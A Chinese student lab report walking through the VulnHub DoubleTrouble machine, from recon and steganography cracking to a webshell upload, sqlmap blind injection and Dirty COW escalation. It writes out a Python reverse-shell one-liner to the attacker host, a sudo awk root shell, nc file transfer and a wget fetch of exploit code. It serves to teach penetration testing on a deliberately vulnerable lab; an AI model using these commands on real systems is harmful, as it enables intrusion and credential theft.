网络攻防实战 第九次实验

邮箱:keekkewy@qq.com

靶机链接:https://www.vulnhub.com/entry/doubletrouble-1,743/

2022年11月15日

一、实验目的

本次的靶机比较特别,在获取第一个靶机的 root 权限后会在 root 主目录下发下另一个靶机的 .ova 文件,我们还需要将其下载到宿主机,继续尝试渗透。最终取得两个靶机的 root 权限以及第二个靶机上的两个 flag。

我们将使用到以下攻击手段:

  • 主机发现;
  • 端口扫描;
  • 隐藏路径爆破;
  • 隐写数据破解;
  • 文件上传漏洞;
  • 一句话木马脚本;
  • 反弹 shell;
  • awk 提权;
  • sql基于时间的盲注(使用sqlmap);
  • 脏牛漏洞提权。

二、实验内容

kali: 10.0.2.15

靶机: 10.0.2.14、10.0.2.16

0x00. 准备工作

  1. 获取靶机 IP 并扫描其开放的端口以及个端口上对应的服务:

    1
    2
    sudo arp-scan -I eth0 -l
    sudo nmap -p- 10.0.2.14 -A
    image-20221115145728429
  2. 访问80端口发现是一个登录界面,查看源码也并没有直接可利用的信息:

    image-20221115150326673
  3. 尝试直接输入单引号触发报错寻找注入点,也没有结果。

    (使用 BurpSuite 拦截请求,发现我们输入的单引号在发送前被进行了转义,但重新修改为单引号后发送,同样没有收到报错信息)

0x01. 隐藏路径爆破

  1. 首先想到查找隐藏路径:

    1
    dirsearch -u http://10.0.2.14
    image-20221115151035467

    找到了隐藏路径 /secret/ ,根据此前实验的经验,我们第一时间查看其内容。

  2. 访问上述目录,发现只包含一张图片:

    image-20221115213631401 image-20221115151534885

    既然其处于 /secret/ 目录下,猜测其中包含隐写入的信息。

  3. 将其保存至 kali,使用 stegseek 工具进行破解:

    安装:$ sudo apt install stegseek

    仓库:https://github.com/RickdeJager/stegseek

    1
    stegseek doubletrouble.jpg rockyou.txt
    • 其中 rockyou.txt 字典可以通过 locate 命令在 kali 上找到。

    生成了输出文件 doubletrouble.jpg.out,查看破解结果,发现疑似此前网站主页的登录邮箱和密码。

    1
    2
    otisrush@localhost.com
    otis666
  4. 尝试登录,成功跳转至下级界面:

    image-20221115213716058

0x02. 文件上传漏洞

  1. 浏览各个界面,优先关注文件上传点:

    • 首先发现可以通过网页右上角进入用户的 My Details 界面,其中可以进行用户的头像的上传,但是先尝试上传一个普通图片后,发现该功能存在 bug,上传失败。

      image-20221115213744368

    • 返回主页后在左侧菜单栏访问目录 Tools->Import Tasks from XLS file ,发现第二个文件上传点,但是上传之后,同样触发错误:

      image-20221115213854912
    • 最终在左侧菜单栏 Configuration->General->General 界面发现有效的文件上传点。

  2. 浏览 Configuration->General->General 界面,发现可以进行文件上传,推测可能是用于设置该网站应用的 logo:

    image-20221115214057659
  3. 选择任意图片尝试上传后,发现当前页面左上角发生变化,变为了我们刚才选择的图片:

    image-20221115214156875

    说明此处的文件上传功能确实有效可用。

  4. 尝试直接上传我们祖传的一句话木马文件,发现上传失败,推测需要进行文件类型检测的绕过。

  5. 在此尝试上传,并使用 BurpSuite 截获我们的请求,修改我们所上传文件的信息:

    image-20221115162056076

    使用此前实验中用过的方法,在文件内容开头加入 GIF89a 进行文件内容欺诈。

  6. 发现左上角的内容发生变化,变为一张显示错误的图片。右键选择新建标签页打开图片,获取图片对应文件的 url:

    image-20221115213534193 image-20221115213444896

    显然我们的一句话木马文件上传成功,测试一下:

    image-20221115213349712
  7. 到此为止,我们就可以和之前一样,通过一句话木马执行反弹 shell 脚本:

    1
    2
    http://10.0.2.14/uploads/script.php?cmd=
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.15",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  8. 成功获取反弹 shell,使用以下指令进行提升:

    1
    python -c "import pty;pty.spawn('/bin/bash')"
    image-20221115164716553

0x03. 利用 awk 提权

  1. 查看当前用户不使用密码就可以通过 sudo 执行的命令:

    1
    sudo -l
    image-20221115201242366

    发现可以不使用密码通过 sudo 执行 awk 命令。

  2. 前往提权指令汇总网站 GTFOBins 查找 awk 命令:

    image-20221115203414312

    选择 Shell 查看 Shell 提权的命令:

    1
    sudo awk 'BEGIN {system("/bin/sh")}'
  3. 在反弹 shell 中输入上述指令,完成提权。

    image-20221115205216502
  4. 切换至靶机的 root 用户主目录,发现还存在一个靶机的 .ova 文件:

    image-20221115205358308
  5. 使用 nc 命令将其下载到 kali,再通过 virtualBox 的文件传输功能将其传送至宿主机。

    1
    2
    nc -n 10.0.2.15 1234 < doubletrouble.ova		# 靶机
    nc -lp 1234 > doubletrouble.ova # kali
    • 或在靶机上开启 web 应用,然后在上对目标文件进行下载【本次使用】

0x04. SQL 盲注

  1. 对该靶机进行同样的主机发现以及端口扫描等常规操作之后,发现开放了 80 端口,浏览器访问,发现又是一个登录界面:

    image-20221115214554606

    常规的 SQL 注入探测未发现注入点,考虑 SQL 盲注。

  2. 截获我们在该界面进行登录时的请求:

    image-20221115215043041

    修改如下:

    image-20221115215304216

    根据 SQL 语法,我们可以判定,如果该报文的响应在发送十秒之后到来。则说明此处存在注入点。考虑通过 sqlmap 实现盲注的自动化,并导出靶机数据库。

  3. 将该请求数据包的内容拷贝至本地的文件 sqlinject 中:

    image-20221115221549809
  4. 使用 sqlmap 从该文件中加载请求,并进行探测:

    1
    sqlmap -r sqlinject -p uname,psw			# 指定测试参数为uname, psw

    sqlmap 会自动尝试各种注入方式,根据输入结果可知 sqlmap 成功通过基于时间的盲注获取靶机数据库的信息:

    image-20221115222758984
  5. 查看当前用户可见的数据库:

    1
    sqlmap -r sqlinject -p uname,psw --dbs
    image-20221115223626118
    • 由于是基于时间的盲注,观察结果的输出过程可以发现,每隔一段时间确认一个字符。
  6. 查看数据库 doubletrouble 中的表:

    1
    sqlmap -r sqlinject -p uname,psw -D doubletrouble --tables
    image-20221115223959350
  7. 查看表 users 的列:

    1
    sqlmap -r sqlinject -p uname,psw -D doubletrouble -T users --columns
    image-20221115224332430
  8. 查看表中 usernamepassword 两项的内容:

    1
    sqlmap -r sqlinject -p uname,psw -D doubletrouble -T users -C username,password  --dump
    image-20221115224953713

    发现存在两个用户。

  9. 将其输入之前的登录界面,发现两个用户都无法登录。想到靶机开放了22端口,尝试使用上述两个用户的信息通过 SSH 登入靶机。发现用户 clapton 登入成功:

    image-20221115230645883

0x05. “脏牛”漏洞提权

脏牛漏洞:又叫Dirty COW(copy-on-write),存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。

漏洞范围:Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)

  1. 发现当前目录有存在文件 user.txt,查看内容,获取第一个 Flag:

    • Flag1: 6CEA7A737C7C651F6DA7669109B5FB52
  2. 查看内核版本 uname -a

    image-20221115231210037

    发现该版本存在脏牛漏洞。

  3. 搜索其利用代码:

    仓库:https://github.com/gbonacini/CVE-2016-5195

    在 kali 创建 dcow.cpp 写入漏洞利用代码,并通过 web 服务将其上传至靶机:

    1
    2
    sudo python3 -m http.server 80					# kali
    wget http://10.0.2.15/dcow.cpp # 靶机
  4. 查看仓库中的 makefile 文件,发现编译指令:

    1
    g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

    在靶机上编译运行,发现该程序将靶机上 root 用户的密码强制更改为了 dirtyCowFun

    image-20221115234056990
  5. 使用 su root,输入该密码切换至 root 身份:

    image-20221115234200279
  6. 切换至 root 用户的主目录,查看其目录下的文件,发现第二个 Flag:

    • Flag2: 1B8EEA89EA92CECB931E3CC25AA8DE21

三、实验结果

  • root:

    image-20221115234200279
  • Flag1: 6CEA7A737C7C651F6DA7669109B5FB52

  • Flag2: 1B8EEA89EA92CECB931E3CC25AA8DE21

四、总结

  • 访问 80 端口发现一个登录界面。爆破隐藏路径,发现 /secret/ 路径。在其目录下发现一个图片,使用 stegseek 破解其中数据,猜测是用于登录主页的邮箱和密码,使用其进行登录,发现登录成功。
  • 浏览各个界面寻找文件上传点,上传一句话木马文件,通过该文件注入反弹 shell 脚本生成反弹 shell。
  • 使用 awk 提权,发现另一个靶机的 .ova 文件,下载至 kali 后移动到宿主机,导入 Virual Box 后启动。
  • 浏览器访问 80 端口,发现登录界面。通过 sqlmap 进行 sql 注入,获取用户名和密码,通过 SSH 登入。
  • 查看靶机内核,发现存在脏牛漏洞,搜索利用代码,上传至靶机编译运行,发现强制修改了 root 用户的密码,使用该密码即可至 root 身份,提权成功。